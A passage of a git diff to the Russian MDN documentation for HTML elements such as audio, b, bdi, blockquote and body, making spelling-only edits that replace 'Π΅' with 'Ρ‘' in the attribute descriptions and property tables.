+ <div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘Π°ΠΉΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСски ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚ Π°ΡƒΠ΄ΠΈΠΎ (ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ с Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ нСприятными для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, поэтому этого слСдуСт ΠΏΠΎ возмоТности ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ. Если Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ автовоспроизвСдСния, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‘ Opt-in (Π²ΠΈΠ΄ подписки), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ (сам) Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» Π΅Ρ‘. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΡ€ΠΈ создании элСмСнтов ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, Ρ‡Π΅ΠΉ источник Π±ΡƒΠ΄Π΅Ρ‚ установлСн ΠΏΠΎΠ·Π΄Π½Π΅Π΅ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</div>
</dd>
<dt>{{htmlattrdef("controls")}}</dt>
<dd>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ присутствуСт, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ элСмСнты управлСния, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ воспроизвСдСниСм Π°ΡƒΠ΄ΠΈΠΎ, Π² Ρ‚ΠΎΠΌ числС Π³Ρ€ΠΎΠΌΠΊΠΎΡΡ‚ΡŒΡŽ, ΠΏΠ΅Ρ€Π΅ΠΌΠΎΡ‚ΠΊΠΎΠΉ ΠΈ ΠΏΠ°ΡƒΠ·ΠΎΠΉ.</dd>
@@ -76,10 +76,10 @@ translation_of: Web/HTML/Element/audio
<dt>{{htmlattrdef("loop")}}</dt>
<dd>Атрибут логичСского Ρ‚ΠΈΠΏΠ°. Если ΠΎΠ½ ΡƒΠΊΠ°Π·Π°Π½, ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ автоматичСски Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Π² Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΡ€ΠΈ достиТСнии ΠΊΠΎΠ½Ρ†Π° Π°ΡƒΠ΄ΠΈΠΎ.</dd>
<dt>{{htmlattrdef("muted")}}</dt>
- <dd>Атрибут логичСского Ρ‚ΠΈΠΏΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ Π·Π²ΡƒΠΊ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ являСтся <code>false</code>.</dd>
+ <dd>Атрибут логичСского Ρ‚ΠΈΠΏΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ Π·Π²ΡƒΠΊ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ являСтся <code>false</code>.</dd>
<dt>{{htmlattrdef("preload")}}</dt>
<dd>
- <p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎ мнСнию Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΌΡƒ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΈΡŽ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
+ <p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎ мнСнию Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΌΡƒ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΈΡŽ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
<ul>
<li><code>none</code>: ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π°ΡƒΠ΄ΠΈΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ;</li>
@@ -144,7 +144,7 @@ translation_of: Web/HTML/Element/audio
<h3 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚_&lt;audio>_с_мноТСством_элСмСнтов_&lt;source>">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ &lt;audio&gt; с мноТСством элСмСнтов &lt;source&gt;</h3>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ мноТСство элСмСнтов <code>&lt;source&gt;</code>. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ попытаСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ источник ΠΈΠ· ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта <code>&lt;source&gt;</code> (Opus), Ссли ΠΎΠ½ Π½Π΅ Π² состоянии воспроизвСсти Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ (Vorbis) ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΊ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌΡƒ (MP3), Ссли всС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ воспроизвСдСны Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ:</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ мноТСство элСмСнтов <code>&lt;source&gt;</code>. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ попытаСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ источник ΠΈΠ· ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта <code>&lt;source&gt;</code> (Opus), Ссли ΠΎΠ½ Π½Π΅ Π² состоянии воспроизвСсти Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ (Vorbis) ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΊ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌΡƒ (MP3), Ссли всС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ воспроизвСдСны Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ:</p>
<pre class="brush: html">&lt;audio controls=""&gt;
&lt;source src="foo.opus" type="audio/ogg; codecs=opus"/&gt;
@@ -191,7 +191,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#ВстроСнный_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>. Если элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>controls</code>, ΠΎΠ½ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ катСгориям <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ</a> ΠΈ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явного</a> ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>Если элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>: ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ элСмСнтов {{HTMLElement("track")}}, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π°Ρ_модСль_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅Ρ‚</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ содСрТит элСмСнтов <code>&lt;audio&gt;</code> ΠΈΠ»ΠΈ {{HTMLElement("video")}}.<br>
Π˜Π½Π°Ρ‡Π΅: ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ элСмСнтов {{HTMLElement("source")}}, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ элСмСнтов {{HTMLElement("track")}}, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π°Ρ_модСль_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ содСрТит элСмСнтов <code>&lt;audio&gt;</code> ΠΈΠ»ΠΈ {{HTMLElement("video")}}.</td>
</tr>
@@ -200,7 +200,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² качСствС содСрТимого.</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html
index 89cdf625ec..fedf3d4031 100644
--- a/files/ru/web/html/element/b/index.html
+++ b/files/ru/web/html/element/b/index.html
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/b
<td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html
index daf089fa86..ef7c7aa44b 100644
--- a/files/ru/web/html/element/bdi/index.html
+++ b/files/ru/web/html/element/bdi/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/bdi
<p>Π­Ρ‚ΠΎΡ‚ элСмСнт ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ встраивании тСкста с нСизвСстным Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…) Π²Π½ΡƒΡ‚Ρ€ΡŒ тСкста с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ.</p>
-<p class="note">Π₯отя тот ТС эффСкт ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достигнут ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌΒ CSSΒ ΠΏΡ€Π°Π²ΠΈΠ»Π°Β {{cssxref("unicode-bidi")}}<code>: isolate</code>Β ΠΊ элСмСнту {{HTMLElement("span")}} ΠΈΠ»ΠΈ другому элСмСнту форматирования тСкста, сСмантичСскоС значСниС ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта <code>&lt;bdi&gt;</code>. Π’Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅, Ρ‡Ρ‚ΠΎΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚Β ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ стили. Π’ этом случаС, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ использовании HTML элСмСнта, ΠΈ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ использовании Ρ‚ΠΎΠ»ΡŒΠΊΠΎ CSS стилСй.</p>
+<p class="note">Π₯отя тот ТС эффСкт ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достигнут ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌΒ CSSΒ ΠΏΡ€Π°Π²ΠΈΠ»Π°Β {{cssxref("unicode-bidi")}}<code>: isolate</code>Β ΠΊ элСмСнту {{HTMLElement("span")}} ΠΈΠ»ΠΈ другому элСмСнту форматирования тСкста, сСмантичСскоС значСниС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта <code>&lt;bdi&gt;</code>. Π’Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅, Ρ‡Ρ‚ΠΎΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚Β ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ стили. Π’ этом случаС, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ использовании HTML элСмСнта, ΠΈ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ использовании Ρ‚ΠΎΠ»ΡŒΠΊΠΎ CSS стилСй.</p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html
index d8a3b73dc2..d6dfdd2d18 100644
--- a/files/ru/web/html/element/blockquote/index.html
+++ b/files/ru/web/html/element/blockquote/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/blockquote
---
<h2 id="ОписаниС">ОписаниС</h2>
-<p><strong>HTML-элСмСнт <code>&lt;blockquote&gt;</code> </strong>(ΠΎΡ‚ Π°Π½Π³Π».Β <em>Block Quotation</em>) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² Π½Π΅ΠΌ тСкст являСтся Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ†ΠΈΡ‚Π°Ρ‚ΠΎΠΉ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½ (тСкст) Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ выдСляСтся Π½Π°ΠΊΠ»ΠΎΠ½Π½Ρ‹ΠΌ (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</a>, Π³Π΄Π΅ говорится ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ это ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ). URI Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <strong>cite</strong>, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ тСкстовоС прСдставлСниС источника ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ элСмСнтом {{HTMLElement("cite")}}.</p>
+<p><strong>HTML-элСмСнт <code>&lt;blockquote&gt;</code> </strong>(ΠΎΡ‚ Π°Π½Π³Π».Β <em>Block Quotation</em>) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² Π½Π΅ΠΌ тСкст являСтся Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ†ΠΈΡ‚Π°Ρ‚ΠΎΠΉ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½ (тСкст) Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ выдСляСтся Π½Π°ΠΊΠ»ΠΎΠ½Π½Ρ‹ΠΌ (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</a>, Π³Π΄Π΅ говорится ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ это ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ). URI Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <strong>cite</strong>, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ тСкстовоС прСдставлСниС источника ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ элСмСнтом {{HTMLElement("cite")}}.</p>
<div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div>
diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html
index 8c2cacdfe0..f18863b449 100644
--- a/files/ru/web/html/element/body/index.html
+++ b/files/ru/web/html/element/body/index.html
@@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/body
<td><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#ΠšΠΎΡ€Π½ΠΈ_задания_Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²">Π‘Π΅ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -32,11 +32,11 @@ translation_of: Web/HTML/Element/body
<td>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ, Π½Π΅ являСтся ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ, ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ, элСмСнтом {{HTMLElement("script")}} ΠΈΠ»ΠΈ элСмСнтом {{HTMLElement("style")}}. Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½ Ссли элСмСнт <code>&lt;body&gt;</code> содСрТит ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠ»ΠΈ 